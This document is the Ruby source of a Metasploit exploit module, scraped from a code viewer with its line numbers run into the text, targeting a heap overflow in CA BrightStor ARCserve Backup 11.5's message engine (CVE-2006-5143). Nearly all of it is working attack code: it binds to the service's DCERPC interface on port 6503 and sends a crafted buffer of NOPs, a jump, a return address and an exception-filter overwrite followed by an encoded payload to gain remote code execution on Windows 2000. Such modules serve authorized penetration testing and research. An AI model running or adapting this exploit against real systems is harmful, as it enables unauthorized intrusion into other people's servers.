Path: blob/master/modules/exploits/windows/brightstor/message_engine_heap.rb
19591 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::DCERPC910def initialize(info = {})11super(12update_info(13info,14'Name' => 'CA BrightStor ARCserve Message Engine Heap Overflow',15'Description' => %q{16This module exploits a heap overflow in Computer Associates BrightStor ARCserve Backup1711.5. By sending a specially crafted RPC request, an attacker could overflow the18buffer and execute arbitrary code.19},20'Author' => [ 'MC' ],21'License' => MSF_LICENSE,22'References' => [23[ 'CVE', '2006-5143' ],24[ 'OSVDB', '29533' ],25[ 'BID', '20365' ],26],27'Privileged' => true,28'DefaultOptions' => {29'EXITFUNC' => 'process',30},31'Payload' => {32'Space' => 800,33'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",34'StackAdjustment' => -3500,35},36'Platform' => 'win',37'Targets' => [38['Windows 2000 SP4 English', { 'Ret' => 0x7c2f6cc8, 'UEF' => 0x7c54144c } ],39],40'DisclosureDate' => '2006-10-05',41'DefaultTarget' => 0,42'Notes' => {43'Reliability' => UNKNOWN_RELIABILITY,44'Stability' => UNKNOWN_STABILITY,45'SideEffects' => UNKNOWN_SIDE_EFFECTS46}47)48)4950register_options(51[52Opt::RPORT(6503)53]54)55end5657def exploit58connect5960handle = dcerpc_handle('dc246bf0-7a7a-11ce-9f88-00805fe43838', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])61print_status("Binding to #{handle} ...")6263dcerpc_bind(handle)64print_status("Bound to #{handle} ...")6566# straight forward heap stuffz67sploit = make_nops(680) + "\xeb\x0a" + make_nops(2) + [ target.ret ].pack('V')68sploit << [ target['UEF'] ].pack('V') + payload.encoded6970print_status("Trying target #{target.name}...")7172begin73dcerpc_call(43, sploit)74rescue Rex::Proto::DCERPC::Exceptions::NoResponse75end7677handler78disconnect79end80end818283